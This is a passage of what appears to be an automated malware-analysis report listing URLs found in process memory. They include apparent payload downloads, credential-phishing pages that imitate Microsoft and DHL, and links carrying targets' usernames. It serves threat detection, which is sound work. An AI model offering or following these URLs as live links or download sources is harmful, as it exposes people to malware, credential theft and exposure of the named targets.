        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://kod.haohaoda.cn/plugins/picasa/newpo.png
        Source: MpSigStub.exe, 00000023.00000003.18327477882.0000015B1B65E000.00000004.00000001.sdmpString found in binary or memory: https://kofiruions.xyz/royal/brand.php
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: https://koirado.com/vendor/phpunit/phpunit/src/util/php/css/dir/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://konzmny.com/?qs=a9537c1ce6614636144ad0c9e0975ac106bb986006db8f6a0789e5b0d16dcf4fc15476ba5afa
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://koooking.online/webs/
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://kraft.eng.br/
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: https://kurtoch.eu/rgfyzrxlr/ind.html
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://kweraltd.com/wp-content/plugins
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://l%%8Kvfcrl%%8Kvfyptl%%8Kvfoexpert.work/core/venl%%8Kvfl%%8Kvfdor/doctrine/lexer/lib/cpf9PlDn
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://labrie-sabette.com/wp-includes/sodiu
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://lawyersblog.net/777/picture9.dll
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: https://legalproceedings.uc.r.appspot.com/legal_proceeding_concerning_overdue_invoices_pdf.jar
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://limarija-das.hr/wp-content/plugins/wp-optimize/js/handlebars/CJrMovjhM.phpMXynE
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: https://linesburline.at/3/bbc.dll
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: https://linkr.uk/2nuds
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: https://linkr.uk/elgja
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://linkr.uk/fyu5r
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://linkzip.me/
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: https://liquide.co/3qyyerb6gvx/ind.html
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://listoparacomer.com.ve/wp-content/hewlett-packard-mcafee/hpe.html
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://litesound.ml/fax/policy.php
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://livelongerfeelbetter.com/
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: https://livesnoop.com/client/postlog.php
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: https://livesnoop.com/client/screenshots.php
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://lixns.com/xl/?referrer=
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://lmvus.com/omar/90/$8900.doc
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: https://localmonero.co/
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://location.services.mozilla.com/v1/geolocate?key=test
        Source: RegAsm.exe, 00000008.00000002.21905650034.000000001E595000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21910178869.000000001E986000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com/
        Source: RegAsm.exe, 00000008.00000002.21905650034.000000001E595000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com//
        Source: RegAsm.exe, 00000008.00000002.21905650034.000000001E595000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com/https://login.live.com/
        Source: RegAsm.exe, 00000008.00000002.21905650034.000000001E595000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com/v104
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://login.livevoice365.xyz/
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://login.microsoftonline.com
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://login.microsoftonline.com/common/oauth2/
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: https://login.yahoo.com/config/login
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: https://loginmixcrhustim0fficia6.ga/xi/policy.php
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: https://logins.daum.net/accounts/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: https://logins.daum.net/accounts/logout.do?url=http%3A%2F%2Fwww.daum.net%2F%3Fnil_profile%3Dlogout
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://logowrench.website/zdz0ptxdtonla.php
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: https://logs1186.xiti.com/
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: https://logupdate.herokuapp.com
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://longurl.in/ekdnl
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://longurl.in/htyul
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://longurl.in/mccwd
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://longurl.in/tllwu
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://longurl.in/welhl
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://lupoun.com/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://lupoun.com/moon/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: https://m3lloyellow.com/rodrich.php
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://macflypro.com/builds/data/
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://maersoul.com/vix/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: https://mail.daum.net
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: https://mail.daum.net/login?url=http%3A%2F%2Fmail.daum.net%2F
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://mailsending.site/Happy_CS/happyFun.exe
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://main.iam.ad.ext.azure.com/api/
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: https://malsay.myftp.biz/ck/business/index.php
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: https://mamulln.cl/kwi/?email=travis_phillips
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://marcostrombetta.com.br/ds/1802.Dc
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: https://marcostrombetta.com.br/ds/1802.gif
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://massotherapielg.com/css/acrobat/login.micosoftonline.com/index.html
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://maxizoner.com/presentation.dll
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpString found in binary or memory: https://mazedecrypt.top/
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://md.jp-long.online/?e=robertm
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://md.jp-long.online/?e=vpetrillo
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: https://md.klnmailbox.xyz/?e=
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://mdhov.ca/storage/mdhov/ca/next.php
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://mdspni.com/realm/send.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: https://meant.usa.cc/no/sharpoin/sharpoint/share/
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://media.discordapp.net/attachments/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://mediadigital.site/class-vc.php
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: https://megoseri.com/app.dll%/cvr78f2.tmp.cvr
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://mercados247.com/ds/1602.gif
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://message-read.iosmail-inbox.host/5c36dfff53edaf584b5d9262?qlpq7hq=&amp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: https://meubackup.terra.com.br/index.php/s/4fwo4jtezhqnzdd/download
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://mhjyutrfgf.gb.net/grte544fc3/?vfegg5355=fvvbveg545
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: https://minhafinanca.com/wp-admin/css/colors/coffee/reportexcelindeed
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://minisnowhair.com/minisnw2/download2.php?f=htm-2-ads19u09ue11&u=22fc8bcc-db88-4ca7-9654-81ad4
        Source: MpSigStub.exe, 00000023.00000003.18327477882.0000015B1B65E000.00000004.00000001.sdmpString found in binary or memory: https://miscrsftonline.ml/blessing/policy.php
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://missglamourcosmeticos.com.br/ds/29.gif
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: https://mjstech1.com/06/lub.php
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: https://mmjobserver.com/aah/next.php
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://moegifts.com/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: https://mollahossein.ir/cgi_bin/bgxlc3rlckblyxn0bwfulmnvbq==
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://mor32.s3-eu-west-1.amazonaws.com/image2.png
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://moralsss.com/office/office365/index.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://moranmus.com/adobe-vix/
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: https://mort2021.s3-eu-west-1.amazonaws.com/image2.png
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://msatechnology.com/admincp/wp-admin/css/colors/ectoplasm/reportexcel.php
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://mtonlino.s3-eu-west-1.amazonaws.com/image2.png
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://mueblesmaple.com.mx/19.gif
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: https://muropronto.ibsweb.com.br/modules/mod_simplefileuploadv1.3/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://mycrotyx.com/cgi.bin/azure2020/realm/send.php
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://myexternalip.com/raw
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://myexternalip.com/rawx
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://mylovelybluesky.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://myoffice365-online.com/login/common/login/mridings
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://myscape.in/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: https://mywebscrap.com/ds/0402.gif
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://mz.ht-aslice.online/?e=a.wirth
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://mz.ht-aslice.online/?e=erdinc.gok
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://mz.ht-aslice.online/?e=mike.platt
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://n9.cl/d9fii
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: https://navigator.fun/wp-content/plugins/refer-a-friend-for-woocommerce-by-wpgens/public/js/mcb8abrb
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://netorgft3012202.sharepoint.com/:b:/s/investments/ewhzfsivbvbdn1vhk8eejpcbnbcaan_xlbd5e7fn2lp
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://neuroconversions.com/wp-content/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://neuroconversions.com/wp-content/plugins/po4/excelz/index.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: https://neverlose.cc/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://newsiest-grid.000webhostapp.com/dhl/dhla/dhl%20auto/index.php?email=kani.junichi
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://newtrp.com/e8/rexifly.php
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://newwets.com/zip/document.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://nexustiles.com/y29yaw5uzs5oewxhbmrac2fudgfjcnv6y291bnr5lnvz
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://nhacaiuytin888.com/mail/now.php
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://nicoleiman.com/zmxvcmvuy2lhqhnpbxrly2guys1zdgfylmvkds5zzw==
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://nizarazu.ru/tyui/?activity=4789652
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: https://nonamesv.xsiazon.xyz/?e=
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://norsecompassgroup.com/4eqmrlzmq9r/lipa.html
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://notabug.org/microsoft-office/word-templates/raw/master/template.dotm
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: https://notafiscaleletronica-e.com/master/
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: https://notes.topix21century.com/asp/kys_allow_get.asp?name=getkys.kys
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://novaworld-resort.com/wp-admin/user/delis/ite1/links.doc
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: https://nowfoundation.org.uk/hx0smmmbiw/haurt.html
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://oauth2.googleapis
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://objectstorage.uk-london-1.oraclecloud.com/n/lrxg46lu57ma/
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: https://objectstorage.us-ashburn-1.oraclecloud.com/n/idb0azuxzsop/b/viperwee/o/voicee.mp3
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://objectstorage.us-phoenix-1.oraclecloud.com/n/axfwptiilgjl/b/azu/o/vn.html#support
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: https://ocsp.quovadisoffshore.com0
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: https://odbtgld.s3.eu-central-1.amazonaws.com/setups.exe
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: https://odbtgld.s3.eu-central-1.amazonaws.com/setups.exeac
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://oemands.dk/xmlrpc.php
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://office.com/start/myaccount.aspx
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://office.insureusun.com/?e=simona.merzagora
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://office.live.com/start/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: https://office365.club/web/content.dotm
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://ohgstd-adnazad.c9users.io/update/validate/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://oidblueprin.at/3/str.dll
        Source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmpString found in binary or memory: https://oksearch.org/xa2/click.html
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: https://olisseytravel.az/wp-content/themes/themesnewsa/js/zxz/new.php
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: https://olympiacus.accesscam.org/pdf/opo.php
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: https://one.co.il
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: https://onedrive.live.com/download.aspx?cid=7df9938cb8d94df3&authkey=%21ajy8jfax0aqsibs&resid=7df993
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: https://opposedent.com/css/main.css/send.css
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://organigrama.gualda.com
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://ostoja.tk/browser.php
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://ourcomm.co.uk/wp-content/plugins/buddyboss-platfo
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://outlook.office.com/api/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://ov.m4sh-up1x.xyz/?e=
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://ozmontelectrical.com/drms/fert.html
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://paf.gov-mail.net/13621/1/18844/2/0/0/1390324815/files-b74d99d6/hta
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://panolinuk-my.sharepoint.com/:b:/g/personal/paul_holland_panolin_co_uk/eewdyq0-yzdfhxzreappqk
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: https://paste.ee/d/n9jsq/0
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://paste.ee/r/26jiy/0
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://paste.ee/r/c9fe4/0
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://paste.ee/r/cikn9/0
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://pastebin.com
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://pastebin.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: https://pastebin.com/raw
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: https://pastebin.com/raw/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://pastebin.com/raw/2STTYftz
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: https://pastebin.com/raw/E1MURCfS
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: https://pastebin.com/raw/G0jcGs79
        Source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmpString found in binary or memory: https://pastebin.com/raw/g10EQ6PS
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: https://pastebinp.com/raw/1Tuj3CF7
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: https://pastebinp.com/raw/itDEZ39X
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://paxful.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://pay.2go.com/payment/2-1301222-qoo1mwri7zqbuxa2)
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://pay.yac.mx
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: https://pay.yac.mxx:
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://pd.gy-lnoice.online/?e=dskodras
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: https://pediatriadrgonzales.com/wp-content/themes/betheme/js/parallax/vrgcm7nkd.php
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://peregrineplastics-my.sharepoint.com/:o:/g/personal/bsmith_peregrine_build/erg-sjvfekzmix8xbx
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://petlineir.com/mason/amstream.exe
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://photofinderplus.com/s/?api=
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://picsum.photos/80
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://piedmontrescue.org/sport/rockstar.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://pigeonious.com/
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: https://pigeonious.com/img/
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://pinkconnext.com/ds/26.gif
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: https://piscineconstruct.ro/kjy/index.php
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: https://pjoao1578pro2.site/crypt/vbscript.txt
